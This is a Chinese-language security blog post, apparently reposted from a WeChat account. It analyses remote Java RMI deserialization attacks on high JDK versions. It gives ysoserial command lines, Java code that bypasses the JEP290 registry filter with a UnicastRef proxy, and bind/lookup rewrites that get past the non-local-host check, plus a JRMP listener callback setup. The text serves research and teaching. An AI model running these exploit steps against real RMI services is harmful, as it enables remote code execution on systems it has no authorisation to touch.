记一次高版本下远程RMI反序列化利用分析

admin 2022年1月19日11:39:08评论379 views字数 11813阅读39分22秒阅读模式

微信又改版了,为了我们能一直相见

你的加星在看对我们非常重要

点击“长亭安全课堂”——主页右上角——设为星标🌟

期待与你的每次见面~


背景




最近在一个项目的内网环境中遇到多个开着 RMI 端口的目标,按照之前的方法直接用ysoserial一把嗦一般都能拿下,因为遇到过很多的内网业务系统可能求稳,跑的jdk版本都是比较老的。但是这次实际遇到的环境却失败了,猜测是jdk版本的问题,于是重新找了一些高版本下远程RMI攻击的防御与绕过姿势,记录下其中的过程和分析。


对于RMI的整个运行原理可以参考:https://paper.seebug.org/1012/#rmi



失败过程




首先是目标开放着1099,这里因为不知道目标的开放函数,所以想的办法是直接用ysoserial去攻击,在ysoserial中对于RMI的攻击是有2种方式的。





方式一



// 方式一java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "open /System/Applications/Calculator.app"


通过查看其对应的源码就可以看到这种攻击方式的关键点是由makeDGCCall函数发送生成的payload,攻击目标是由RMI侦听器实现的远程DGC(Distributed GarbageCollection,分布式垃圾收集器)。它可以攻击任何RMI侦听器,因为RMI框架采用DGC来管理远程对象的生命周期,通过与DGC通信的方式发送恶意payload让注册中心反序列化。但是实际这里会提示:


信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 2, depth: 1, bytes: 166, ex: n/a


这是JEP290起作用了,debug看下使用ysoserial时的filter函数堆栈如下:


checkInput:409, DGCImpl (sun.rmi.transport)access$300:72, DGCImpl (sun.rmi.transport)lambda$run$0:343, DGCImpl$2 (sun.rmi.transport)checkInput:-1, 1076496284 (sun.rmi.transport.DGCImpl$2$$Lambda$2)filterCheck:1313, ObjectInputStream (java.io)readNonProxyDesc:1994, ObjectInputStream (java.io)readClassDesc:1848, ObjectInputStream (java.io)readOrdinaryObject:2158, ObjectInputStream (java.io)readObject0:1665, ObjectInputStream (java.io)readObject:501, ObjectInputStream (java.io)readObject:459, ObjectInputStream (java.io)dispatch:90, DGCImpl_Skel (sun.rmi.transport)oldDispatch:469, UnicastServerRef (sun.rmi.server)dispatch:301, UnicastServerRef (sun.rmi.server)run:200, Transport$1 (sun.rmi.transport)run:197, Transport$1 (sun.rmi.transport)doPrivileged:-1, AccessController (java.security)serviceCall:196, Transport (sun.rmi.transport)handleMessages:573, TCPTransport (sun.rmi.transport.tcp)run0:798, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)run:-1, 1752562691 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)doPrivileged:-1, AccessController (java.security)run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)runWorker:1149, ThreadPoolExecutor (java.util.concurrent)run:624, ThreadPoolExecutor$Worker (java.util.concurrent)run:748, Thread (java.lang)


可以看到这里的readObject 是在DGCImpl_Skel的dispatch,最后走到 DGCImpl 类进行的白名单校验,只允许特定类型通过校验。对应的函数代码如下:


private static Status checkInput(FilterInfo var0) {        if (dgcFilter != null) {            Status var1 = dgcFilter.checkInput(var0);            if (var1 != Status.UNDECIDED) {                return var1;            }        }
if (var0.depth() > (long)DGC_MAX_DEPTH) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 == null) { return Status.UNDECIDED; } else { while(var2.isArray()) { if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) { return Status.REJECTED; }
var2 = var2.getComponentType(); }
if (var2.isPrimitive()) { return Status.ALLOWED; } else { return var2 != ObjID.class && var2 != UID.class && var2 != VMID.class && var2 != Lease.class ? Status.REJECTED : Status.ALLOWED; } } }    }


可以看到这里的白名单包括Primitive、ObjID、UID、VMID、Lease等,ysoserial传递的payload对象类型并不在白名单范围中,因此会返回Status.REJECTED导致利用失败。经过后续的查找发现这种利用姿势因为在高版本jdk的严格白名单过滤场景下基本已经没有利用可能了,所以就没有继续探究下去。





方式二



//方式二java -cp ysoserial-0.0.6-modify-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "open /System/Applications/Calculator.app"


方式二是在ysoserial中RMIRegistryExploit提供了另一种对RMI的攻击思路,即利用向服务端的Registry注册远程对象时的反序列化步骤,将恶意payload插到注册的数据中进行利用。运行上述命令之后, 当RMI的Registry中存在CommonsCollections1这个利用链时就可以执行命令。在实际环境中还是爆出了Status.REJECTED状态,最后找到报错点的堆栈信息如下:


registryFilter:427, RegistryImpl (sun.rmi.registry)checkInput:-1, 523691575 (sun.rmi.registry.RegistryImpl$$Lambda$4)filterCheck:1313, ObjectInputStream (java.io)readProxyDesc:1932, ObjectInputStream (java.io)readClassDesc:1845, ObjectInputStream (java.io)readOrdinaryObject:2158, ObjectInputStream (java.io)readObject0:1665, ObjectInputStream (java.io)readObject:501, ObjectInputStream (java.io)readObject:459, ObjectInputStream (java.io)dispatch:91, RegistryImpl_Skel (sun.rmi.registry)oldDispatch:469, UnicastServerRef (sun.rmi.server)dispatch:301, UnicastServerRef (sun.rmi.server)run:200, Transport$1 (sun.rmi.transport)run:197, Transport$1 (sun.rmi.transport)doPrivileged:-1, AccessController (java.security)serviceCall:196, Transport (sun.rmi.transport)handleMessages:573, TCPTransport (sun.rmi.transport.tcp)run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)run:-1, 1694873910 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)doPrivileged:-1, AccessController (java.security)run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)runWorker:1149, ThreadPoolExecutor (java.util.concurrent)run:624, ThreadPoolExecutor$Worker (java.util.concurrent)run:748, Thread (java.lang)


方式一中我们谈到的过滤器是在DGCImpl中针对分布式垃圾收集器的,而当前sun.rmi.registry.RegistryImpl#registryFilter 则是针对RMI注册机制的,这两个的过滤白名单是不一样的,也就为后续的绕过埋下了基础。这里具体过滤逻辑如下:


private static Status registryFilter(FilterInfo var0) {        if (registryFilter != null) {            Status var1 = registryFilter.checkInput(var0);            if (var1 != Status.UNDECIDED) {                return var1;            }        }
if (var0.depth() > 20L) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 != null) { if (!var2.isArray()) { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } else { return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED; } } else { return Status.UNDECIDED; } }    }


这里我们可以看到相关的白名单有Number,Remote,Proxy,UnicastRef,RMIClientSocketFactory,RMIServerSocketFactory,ActivationID,UID这几个类,而后续的绕过就是其中UnicastRef。





方式三



泄漏函数的利用,这种方式看过一些大佬的分析通过代理或者RASP去更改在本地生成的对象,但是在当时的实战环境里面没有找到泄漏的函数去做利用所以这条路就没有深究。可以参考afanti师傅(https://www.anquanke.com/post/id/200860)和0c0c0f师傅(RMI漏洞的另一种利用方式)的文章。



找绕过姿势




绕过registryFilter



根据上边运行时的报错,当时的思路就是根据报错的关键字去找利用方法,最后在bsmali4师傅的文章(http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/)中找到了利用思路。其关键就是利用Amf3反序列化的时候用的UnicastRef,后来回过头来看才发现其实UnicastRef在weblogic的绕过中也用了,而且在ysoserial中也在payloads/JRMPClient中实现了这个代码。


具体的思路大概是传递一个在白名单中的UnicastRef对象,其中包含序列化的一个RMI主动链接请求,经过上面的registryFilter之后来到反序列化环节解析后会主动发起一个RMI连接从而绕过JEP290。因此这里的利用得用到2个模块:

  1. 生成UnicastRef对象并发送

  2. 起一个JRMPListener来监听端口,等待反序列化后的主动回连


生成UnicastRef对象和发送的核心代码如下:


public static UnicastRef generateUnicastRef(String host, int port) {        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);        return new sun.rmi.server.UnicastRef(liveRef);    }
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));registry.bind("2333", remote);


接下来在 ysoserial 的 exploit 文件夹下新建一个 RMIRegistryExploit1 ,将 bsmail4 师傅的代码拷进来直接maven 打包,利用新生成的 ysoserial-0.0.6-all.jar 在本地运行:


// 开启JRMP监听,等待反序列化之后的主动连接java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections1 "open /System/Applications/Calculator.app"// 攻击者向服务端192.168.100.1发送恶意UnicastRef对象java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.RMIRegistryExploit1 192.168.100.1 1099 192.168.100.1 10999


一切就是这么的美好,在本地环境成功弹出了熟悉的计算器。满心欢喜的拿去打目标,结果又出现大问题,报错如下:


java.rmi.AccessException: Registry.bind disallowed; origin /192.168.100.3 is non-local host


在本地重新用虚拟机复现发现也会有相同的错误,搜了下发现大致是 RMI 的安全机制,不让远程资源进行 Registry bind ,感觉凉凉。找了下发现拦截的函数在 sun.rmi.registry.RegistryImpl#checkAccess ,过滤逻辑如下:


public static void checkAccess(String var0) throws AccessException {    try {        final String var1 = getClientHost();
final InetAddress var2; try { var2 = (InetAddress)AccessController.doPrivileged(new PrivilegedExceptionAction<InetAddress>() { public InetAddress run() throws UnknownHostException { return InetAddress.getByName(var1); } }); } catch (PrivilegedActionException var5) { throw (UnknownHostException)var5.getException(); }
if (allowedAccessCache.get(var2) == null) { if (var2.isAnyLocalAddress()) { throw new AccessException(var0 + " disallowed; origin unknown"); }
try { AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() { public Void run() throws IOException { (new ServerSocket(0, 10, var2)).close(); RegistryImpl.allowedAccessCache.put(var2, var2); return null; } }); } catch (PrivilegedActionException var4) { throw new AccessException(var0 + " disallowed; origin " + var2 + " is non-local host"); } } } catch (ServerNotActiveException var6) { } catch (UnknownHostException var7) { throw new AccessException(var0 + " disallowed; origin is unknown host"); }
}


这里开始没想通,以为是通过连接 IP 来判断的,于是想着用 FRP 做端口转发以为可以绕过,但是这里的 IP 地址其实是 被写到对象里面了, 所以即使用代理转发的方式也是不能绕过这个 checkAccess 的。


绕过non-local host



突然想到之前bit4woo师傅做过内网 RMI 的研究,于是跟他请教了下,他给了一个很巧妙的绕过 checkAccess 的方法。在 bit 师傅的文章(http://code2sec.com/cve-2017-3241-java-rmi-registrybindfan-xu-lie-hua-lou-dong.html)中给了 2 种绕过姿势,分别是改造 bind 函数和 lookup 函数。而具体的代码也放到了他自己改 造的ysoserial代码仓库 ,还是直接打包然后运行


// 找一台虚拟机或者vps开启JRMP监听,等待反序列化之后的主动连接,假设IP是192.168.100.3java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "open /System/Applications/Calculator.app"// 攻击者向服务端发送恶意UnicastRef对象java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.RMIRegistryExploit1 192.168.100.1 1099 192.168.100.3 1099


在本地虚拟机远程利用成功,直接打目标也成功执行了命令。接下来分析下思路的细节。



分析原理




bind改造


首先我们要知道在客户端本地执行 bind 操作时服务端的调用过程,经过 debug 分析发现其中的一个关键函数是在 sun.rmi.registry.RegistryImpl_Skel#dispatch ,为了方便理解我把这个方法里面一些代码删除掉,保留了 一些关键部分如下:


记一次高版本下远程RMI反序列化利用分析


这里绕过的关键点首先是参数 var3 ,通过一个 switch 判断进到不同的 case 语句中,而这其中可以看到在 case0/3/4 的一开始就会调用我们上面看到的 checkAccess 函数检查 bind 的来源,因此要控制 var3 的值让它 等于 case1 or case2 从而绕过 checkAccess 。而 case 的值是在 sun.rmi.server.UnicastServerRef#dispatch 中从反序列化的数据中用 readInt() 读出来的,也就是说这个值是可以控制的,这个值在代码注释中的解释是 opnum ,也就是操作数,根据传入对象的不同来选择不同的处理逻辑。


要想找到 var3 的可控输入点就得看回原始 bind 函数,代码如下:


记一次高版本下远程RMI反序列化利用分析


可以看到 try 之后的第一个语句中的 newCall 方法,其中第三个参数即是 opnum ,在原始 bind 方法中 opnum为 0 ,我们的远程利用就是因为 0 而进到 case0 导致利用失败,所以这得想办法手动将 opnum 的值设置为 1 或者2。


那么到底是 1 还是 2 呢?


这里 debug 了一下初始本地利用时的逻辑,此时进入的是 case0 ,其中关键部分如下:


try {    var9 = var2.getInputStream();    var7 = (String)var9.readObject();    var80 = (Remote)var9.readObject();} catch (ClassNotFoundException | IOException var77) {    throw new UnmarshalException("error unmarshalling arguments", var77);} finally {    var2.releaseInputStream();}


这里首先是有 2 个 readObeject 的函数,但是实际的触发点并不在这里,这只是从输入中反序列化出两个对象,其中包含我们构造的 UnicastRef ,然后进到 finally 的 releaseInputStream 。因此我们要换的 case 还得同时包含 readObeject+releaseInputStream 这两个条件,而符合这个条件的只有 case2 。


但是我们可以看到 case2 和 case0 的有一个不一样的点就是 case2 并没有单独的 (Remote)var9.readObject();,因此如果这里想要正确的反序列化出 UnicastRef 对象还得注意参数的写入顺序,如果按照原始 bind 先写入 String var1 再写入 Remote var2 ,到了 case2 就只会反序列化出 String 从而因为没有 UnicastRef 的反连地址导致利用 失败。这里 bit4woo 师傅给的思路是交换 String 和 Remote 的写入顺序,先写入 Remote 再写入 String 。在经过测试发现这里只写入 Remote var2 不写 String var1 也可以成功完成反连对象的请求和反序列化。最终的利用代码⻅github(https://github.com/bit4woo/ysoserial/blob/bit4woo/src/main/java/ysoserial/exploit/RMIRegistryExploitAlertBind.java


lookup改造

上面聊的是 bind 的改造思路, bit4woo 师傅还给了一种改造 lookup 的方式,但是开始只顾着去看 bind 交换参数的思路了,没有去看 lookup 的这种利用思路,很多地方都没搞清楚,包括 opnum 对应的各个不同的处理逻辑代表的含义。先看下原始 lookup 的部分代码:


记一次高版本下远程RMI反序列化利用分析


熟悉的 opnum=2 出现了,同时 writeObject(String var2) 的画面也出现了,再看回前面 disPatch 中 case2 的代码就知道了, case2 其实针对的就是客户端执行 lookup 的场景,在原始 lookup 中 writeObject 的写入对象是 String ,如果想要强行写入我们的恶意对象会报错。因此这里的利用思路就是在本地重写一个 lookup ,增加一个参数或者替换原来的 String 参数为 Obejct ,在 var3.writeObject 写入恶意对象就可以了。相对于开始 bind 的改造思路来说 lookup 的这种利用更加的易于理解。详细代码也⻅github。




总结




在 JDK8U231 版本之后新增了 discardPendingRefs 方法,最终的调用逻辑会执行 this.incomingRefTable.clear(); 去掉了 UnicastRef 的反连地址,bit4woo师傅根据国外的一个博客分析并 给出了绕过的方法 ,最终通杀到了JDK8u241 ,详细分析可以参考这里(https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/)。


后来也回头看了下为什么开始会纠结到 registry.bind(name, remote); 这个点,发现其实在很多利用讲解 RMI 攻击的文章其实都有提到 lookup 的这种攻击方法,但是在 ysoserial/RMIRegistryExploit 代码中利用的是 bind ,先入为主而忽略掉了 lookup 这个点导致开始的分析很吃力,现在再看其实可以发现前面改造 bind 的代码实际上已经把bind 的函数功能改成了 lookup 。 


总的来说这次踩在大佬们的肩膀上还是学到了很多的东⻄。



参考链接

  • CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞 

  • 一次攻击内网rmi服务的深思

  • AN TRINHS RMI REGISTRY BYPASS

  • https://paper.seebug.org/1012/#rmi


记一次高版本下远程RMI反序列化利用分析
点分享
记一次高版本下远程RMI反序列化利用分析
点收藏
记一次高版本下远程RMI反序列化利用分析
点点赞
记一次高版本下远程RMI反序列化利用分析
点在看

本文始发于微信公众号(长亭安全课堂):记一次高版本下远程RMI反序列化利用分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月19日11:39:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次高版本下远程RMI反序列化利用分析http://cn-sec.com/archives/475291.html

发表评论

匿名网友 填写信息